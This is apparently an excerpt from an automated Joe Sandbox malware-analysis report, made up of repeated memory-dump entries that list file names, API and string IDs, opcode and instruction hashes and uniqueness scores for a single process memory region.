                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID: }
                                                                                                                • API String ID: 0-512092715
                                                                                                                • Opcode ID: 0fd2d5197dbfc0337db90ee15d4af752c6398206d8a95de528824205498cbfce
                                                                                                                • Instruction ID: f12299a3db74fe1e6be3dd23e2b2ace6825e0f81aec9bff52e57aa97c2da21fa
                                                                                                                • Opcode Fuzzy Hash: 0fd2d5197dbfc0337db90ee15d4af752c6398206d8a95de528824205498cbfce
                                                                                                                • Instruction Fuzzy Hash: 1EF1AC82E3F7169AE7C33030C161795BB81EF27486D15CB9B5826B18A17B2F4FCE4598
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID: MemoryProtectVirtual
                                                                                                                • String ID: 2b
                                                                                                                • API String ID: 2706961497-1347263659
                                                                                                                • Opcode ID: efa803abc3bb9471df3dfb6aee04b410a9330ae6a055b0e2f7c116edfece4cad
                                                                                                                • Instruction ID: 89da67e80d1f3ae900851017e536eaa426f19e55eb4db34456132243688e4191
                                                                                                                • Opcode Fuzzy Hash: efa803abc3bb9471df3dfb6aee04b410a9330ae6a055b0e2f7c116edfece4cad
                                                                                                                • Instruction Fuzzy Hash: B63206716083C58FDB35DF38C8987DABBA2AF52360F5982ADCC998F196D7708541CB12
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID: YYYY
                                                                                                                • API String ID: 0-2380432710
                                                                                                                • Opcode ID: c30012e5734728e78fd6c1470cd9aa7499f3469be68caa0071c845c03b3ff5a9
                                                                                                                • Instruction ID: c082fd2ba672579ee4a17e51b90264b6a365b2b3f84af07d524825c5a18dabc1
                                                                                                                • Opcode Fuzzy Hash: c30012e5734728e78fd6c1470cd9aa7499f3469be68caa0071c845c03b3ff5a9
                                                                                                                • Instruction Fuzzy Hash: C5C1AC83E3F7155AE3937170C121791BBD0DF23582D51CBDB9C2AB19A63B1B4A8E44D4
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID: ".zn
                                                                                                                • API String ID: 0-1719012960
                                                                                                                • Opcode ID: 9c5e6ef95e2c4dde64d79a23a79a43da2971f83f7d36cc6baf374da3050e5a87
                                                                                                                • Instruction ID: 66564986a7dafbf807ad65a709b3733e07a82f7871f25a78f7dcd29639d9751d
                                                                                                                • Opcode Fuzzy Hash: 9c5e6ef95e2c4dde64d79a23a79a43da2971f83f7d36cc6baf374da3050e5a87
                                                                                                                • Instruction Fuzzy Hash: 23C1977217CA650FE61C8B38A9D753E7389FBC25257B0D76FD083C648BF826A8834165
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID: u"Zk
                                                                                                                • API String ID: 0-3696758834
                                                                                                                • Opcode ID: d541e4ac4ea33c929dfedc272f183dc90d229df75313161f3bd6f4c35b2a32a0
                                                                                                                • Instruction ID: 7ba6ca04a1dd307f028925d03013c2beb1f99378a34af46d8f18a12346de70dc
                                                                                                                • Opcode Fuzzy Hash: d541e4ac4ea33c929dfedc272f183dc90d229df75313161f3bd6f4c35b2a32a0
                                                                                                                • Instruction Fuzzy Hash: 7A81F2765423468FDF6A9F34C9653DA3B72FF62358FA841AECC865A120D3360643CB02
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID: /5`
                                                                                                                • API String ID: 0-4157449029
                                                                                                                • Opcode ID: 4cd7a2a28340081676a7b2cc5a4c976024d75fc8677d1d4dc76d56988d6e7d2a
                                                                                                                • Instruction ID: 804a1380127f6c72527fa70d7e32c6f84953517d139f0e9aea343f35f95c6b60
                                                                                                                • Opcode Fuzzy Hash: 4cd7a2a28340081676a7b2cc5a4c976024d75fc8677d1d4dc76d56988d6e7d2a
                                                                                                                • Instruction Fuzzy Hash: 5661787014534ADFDB7A8F3499993DA3BB2FF12348F64459ECC9A9A524D7320282DF06
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID: @JrE
                                                                                                                • API String ID: 0-3705807196
                                                                                                                • Opcode ID: a9509b26e37bbf639281d09549ad823df547a3d7cd0225ec152bb47258283a20
                                                                                                                • Instruction ID: ff9ae73b7e285881504c7330df27ae9713c38e568a4b5552a9f2483613bc2813
                                                                                                                • Opcode Fuzzy Hash: a9509b26e37bbf639281d09549ad823df547a3d7cd0225ec152bb47258283a20
                                                                                                                • Instruction Fuzzy Hash: ED41FE7690439ADFCB749F28CCA1BEB77A6EF68780F85002DDD899B210C7324981CB51
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID: r9fO
                                                                                                                • API String ID: 0-504166708
                                                                                                                • Opcode ID: 21dae4d4eba781d76edbfc0a6ce3fe195cd49e5185805f771f5897a1fd662c45
                                                                                                                • Instruction ID: 3d3fe9da134aca41b7175bf428e75ba336fd2f182c922ebc67af4f2fdf3880bc
                                                                                                                • Opcode Fuzzy Hash: 21dae4d4eba781d76edbfc0a6ce3fe195cd49e5185805f771f5897a1fd662c45
                                                                                                                • Instruction Fuzzy Hash: FA4103726143898FDB318F69C9D83EA73A2BF09790F96017EDC499B211D3705E81CB55
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID: r9fO
                                                                                                                • API String ID: 0-504166708
                                                                                                                • Opcode ID: ae08401a0c67cc7b7ab93cae5692ac28adf63841696cec40de6e3a5b1e368380
                                                                                                                • Instruction ID: 68cd6faddf2026c807988749acae5feb43d85c5474609b3bfca83daf7bb8f01f
                                                                                                                • Opcode Fuzzy Hash: ae08401a0c67cc7b7ab93cae5692ac28adf63841696cec40de6e3a5b1e368380
                                                                                                                • Instruction Fuzzy Hash: 8B41E2712043498FDB318F29C9E83EA73B2BF09790F96416DDC898B211D3714A81CB16
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID: r9fO
                                                                                                                • API String ID: 0-504166708
                                                                                                                • Opcode ID: 0d4c7d8df147a5c2c0f9fb2fdbf5cc028b824d1f6cd149c06cde4dc00935a77b
                                                                                                                • Instruction ID: d0b4d07fdb28ae1a8cf7d7d51d897338068da3838b9b2406655d5b6e83274cd5
                                                                                                                • Opcode Fuzzy Hash: 0d4c7d8df147a5c2c0f9fb2fdbf5cc028b824d1f6cd149c06cde4dc00935a77b
                                                                                                                • Instruction Fuzzy Hash: C011A3351142488FCB259F24C9983EE73B1FF067A0F524669CC858B521E3355A81CB96
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID: r9fO
                                                                                                                • API String ID: 0-504166708
                                                                                                                • Opcode ID: 142c93cf6299af3cae886913632292451218bcf080168412f43e3c53fb7734c7
                                                                                                                • Instruction ID: 0c1271ec4922ecd2e2f1b51cfc94780fa351f6e3b2db1b16892eb586fa88166e
                                                                                                                • Opcode Fuzzy Hash: 142c93cf6299af3cae886913632292451218bcf080168412f43e3c53fb7734c7
                                                                                                                • Instruction Fuzzy Hash: 7011A035114248CFCB359F24C9983DA33B2FF067A0F924699DC858B561E3355B82CB4A
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: dfab2d862d472554c78bbade45c634b029f73f5d280ad389d919f0a1bc5f4c89
                                                                                                                • Instruction ID: f0c8fa79ec6abdc360e9dbd574702112c7675c1b45f15aaa4f1e5f758f6383b4
                                                                                                                • Opcode Fuzzy Hash: dfab2d862d472554c78bbade45c634b029f73f5d280ad389d919f0a1bc5f4c89
                                                                                                                • Instruction Fuzzy Hash: F7625887E3F7159AE3C37071C121791BAC0DF27586D618FDB982AB19A13B1F4A8E48D4
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: afc5c8a0cf7931499691324cb37f1755bcb003e6cc7fcb29a01ee515776d10fe
                                                                                                                • Instruction ID: b5948e0be779c4f790040a0ff80df0d37926088522d33d049d0fdb67ecf00dca
                                                                                                                • Opcode Fuzzy Hash: afc5c8a0cf7931499691324cb37f1755bcb003e6cc7fcb29a01ee515776d10fe
                                                                                                                • Instruction Fuzzy Hash: A7625883E3F7159AE3C37071C121791BAC0DF27586D618FD7982AB19A23B1F4A8E48D4
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 361312fbd38a436d5536a9416f979e7bc37332b09c7fcb6657a7e309aeaf2145
                                                                                                                • Instruction ID: 3235f3f6b7d9b9b3c9d7f2fba6e9e7fb1ed6a8c227c43e495ef38b58ca3827d7
                                                                                                                • Opcode Fuzzy Hash: 361312fbd38a436d5536a9416f979e7bc37332b09c7fcb6657a7e309aeaf2145
                                                                                                                • Instruction Fuzzy Hash: D5427983E3F7159AE3C37071C121791BAC0DF27586D61CBD7982AB19A23B1F4A8E49D4
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: e5bf957194a77867a0c6e6662e4749b6871a81fd948fd873d59418ed4bbbf8ab
                                                                                                                • Instruction ID: ae2e22c524555cd99401f68beb1519b7d0fe154b9af4ee727985d4b60389d8ca
                                                                                                                • Opcode Fuzzy Hash: e5bf957194a77867a0c6e6662e4749b6871a81fd948fd873d59418ed4bbbf8ab
                                                                                                                • Instruction Fuzzy Hash: 81226783E3F7155AE3C37071C1217A5BAD0DF23582D618BDB9C2AB19A53B1F4A8E48D4
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 0063864011cbbf38be704552acdfe8fbf87c3076b8e8d7a1fc39491a9b4489c8
                                                                                                                • Instruction ID: d4313eea7bb732a1e5c7738e91a6bd9c1b640dbefc3a13a96f0c4472c954c0ca
                                                                                                                • Opcode Fuzzy Hash: 0063864011cbbf38be704552acdfe8fbf87c3076b8e8d7a1fc39491a9b4489c8
                                                                                                                • Instruction Fuzzy Hash: EA227783E3F7055AE3C37071C1217A1BAD0DF23582D618FDB982AB19A53B1F4A8E48D4
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 0d77e9de57d68c44ec4d855ec7fb44dff9ed93345cad86d56ef2ac1f59ab1ada
                                                                                                                • Instruction ID: 692d16a1a2f155b7055c66762e2b6b9015ee2596ff5bbdace965d96ecb4fa1b3
                                                                                                                • Opcode Fuzzy Hash: 0d77e9de57d68c44ec4d855ec7fb44dff9ed93345cad86d56ef2ac1f59ab1ada
                                                                                                                • Instruction Fuzzy Hash: D4326883E3F7155AE3C37071C1217A1BAD0DF23586D618BDB982AB19A53B1F4A8E48D4
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 4ff00163db19654cf1b5a7408c897b80380da5211160f0e845c7c7ebdefbc176
                                                                                                                • Instruction ID: b32f6ce976513610ec5bf0c07228a95d6faee81049e6e2898af5d9e08981d712
                                                                                                                • Opcode Fuzzy Hash: 4ff00163db19654cf1b5a7408c897b80380da5211160f0e845c7c7ebdefbc176
                                                                                                                • Instruction Fuzzy Hash: 1C326883E3F7155AE3C37071C1217A1BAD0DF23586D618FDB982AB19A53B1F4A8E48D4
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: d7dd7d672890701d252dc2e945b1b136e837c51fe831a465c7a7bbfdc049372d
                                                                                                                • Instruction ID: 326d4641c369f67392cd1d7057ec6f823069419a06a1bcbaeed66736707bc194
                                                                                                                • Opcode Fuzzy Hash: d7dd7d672890701d252dc2e945b1b136e837c51fe831a465c7a7bbfdc049372d
                                                                                                                • Instruction Fuzzy Hash: E6225783E3F7155AD3C37071C1217A6BAD0DF23582D618FDA9C2AB19A53B1F4A8E48D4
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 5a17172f9e0c80155c04e846039fe354a99be1d26e4d400aadf73618d4a420a3
                                                                                                                • Instruction ID: b1df045648ba322f120cdcfefb2e46e9d838eb7cf6233652505dc9cb56888469
                                                                                                                • Opcode Fuzzy Hash: 5a17172f9e0c80155c04e846039fe354a99be1d26e4d400aadf73618d4a420a3
                                                                                                                • Instruction Fuzzy Hash: 03223783E3F7155AD3C37071C1217A5BAD0DF23582D618FDA9C2AB19A53B1F4A8E48D4
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 299c67b11b7ccbb4e86b9168ebb75c5b97cc18b90c6e27c21b20f11496c98f1a
                                                                                                                • Instruction ID: 95ff77f3b3803c4a4f653aa8e78eb0e98819e9519149abb281f215a420006c9b
                                                                                                                • Opcode Fuzzy Hash: 299c67b11b7ccbb4e86b9168ebb75c5b97cc18b90c6e27c21b20f11496c98f1a
                                                                                                                • Instruction Fuzzy Hash: 76329A83E3F7155AE3C37071C121795BAC0DF23586D618FD7982AB19A53B1F4A8E48D4
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: dd6771071504f353171ddc7e71a86cb0e5582e380193fe72dbcdec3d06ac3976
                                                                                                                • Instruction ID: 615602147019e4f540b77d2b453be7b39b11abaee409b7cef9938a0ca34207e6
                                                                                                                • Opcode Fuzzy Hash: dd6771071504f353171ddc7e71a86cb0e5582e380193fe72dbcdec3d06ac3976
                                                                                                                • Instruction Fuzzy Hash: 77125783E3F7155AD3C37071C1217A6BAD0DF235C2D618BDA9C2AB19A53B1F4A8E48D4
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 7a63a85275ec04ca5f1c471b5f3a730536b0ca6605f52357eb4c7a204bfa338b
                                                                                                                • Instruction ID: b7701ec0a70811b70f9ecf73da2f62f91fa9bb999c66b363b1cbbfe1a2b16ebd
                                                                                                                • Opcode Fuzzy Hash: 7a63a85275ec04ca5f1c471b5f3a730536b0ca6605f52357eb4c7a204bfa338b
                                                                                                                • Instruction Fuzzy Hash: 68327883E3F7155AE3C37071C1217A1BAD0DF23582D618FDB982AB19A53B1F4A8E48D4
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 434970de87d03ce8c97b33a5caa0f384b6181feacfad5784f8e62e11274e81c2
                                                                                                                • Instruction ID: eecd4d858f8c505fff8519a400b94fa934d926cb19c4a1d4e83ed09822468a36
                                                                                                                • Opcode Fuzzy Hash: 434970de87d03ce8c97b33a5caa0f384b6181feacfad5784f8e62e11274e81c2
                                                                                                                • Instruction Fuzzy Hash: 3F126783E3F7155AD3C37071C1217A6BAD0DF235C2D618BDA9C2AB19A53B1F4A8E48D4
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 86d4eb2f5b4d630e0f0e57881477ffdc7e200171ba1c2f786dd350e7fcc457d0
                                                                                                                • Instruction ID: cc3c9f43ad03d71f5bcd70daabf41ab4ea7cd9f2d747c167d055ee01291552fd
                                                                                                                • Opcode Fuzzy Hash: 86d4eb2f5b4d630e0f0e57881477ffdc7e200171ba1c2f786dd350e7fcc457d0
                                                                                                                • Instruction Fuzzy Hash: 97226883E3F7155AE3C37071C1217A5BAD0DF23582D618FDA9C2AB19A53B1F4A8E48D4
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: a0129bdd1f0429b352fb7fd5f1879a5825a3f8381b8f4dd06a0cab5de626c626
                                                                                                                • Instruction ID: 4b928126e858f22eb26040357afdd9e3860d0a592eccd8efd92c4486c551f36f
                                                                                                                • Opcode Fuzzy Hash: a0129bdd1f0429b352fb7fd5f1879a5825a3f8381b8f4dd06a0cab5de626c626
                                                                                                                • Instruction Fuzzy Hash: 3D125783E3F7155AE3C37071C1217A5BAD0DF235C2D618BDB982AB19A53B1F4A8E48D4
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 72d210c8202b00cd6ed5f5a9df5298e73178ee17f4eebc84d4889b6d390a6c40
                                                                                                                • Instruction ID: f3da9e5fff47b88051a20f2778cd01ba4443c39f88fc31ddd16081c36ddb0265
                                                                                                                • Opcode Fuzzy Hash: 72d210c8202b00cd6ed5f5a9df5298e73178ee17f4eebc84d4889b6d390a6c40
                                                                                                                • Instruction Fuzzy Hash: D8225883E3F7155AE3C37071C1217A5BAD0DF23582D618BDB9C2AB19A53B1F4A8E48D4
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: d52aa5d6d33b1d40857b2cf5f57073e93d40ba1c769492f2f87bb790685b3f57
                                                                                                                • Instruction ID: e3b8b49c9e0095a8611bd22307e526ad3df1f25b97e4bfc2e76bb72d810a4368
                                                                                                                • Opcode Fuzzy Hash: d52aa5d6d33b1d40857b2cf5f57073e93d40ba1c769492f2f87bb790685b3f57
                                                                                                                • Instruction Fuzzy Hash: DC129883E3F7055AE3937079C1257A1BAD0DF23586E258BDA9C26B15B13B1F0E8E48D4
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
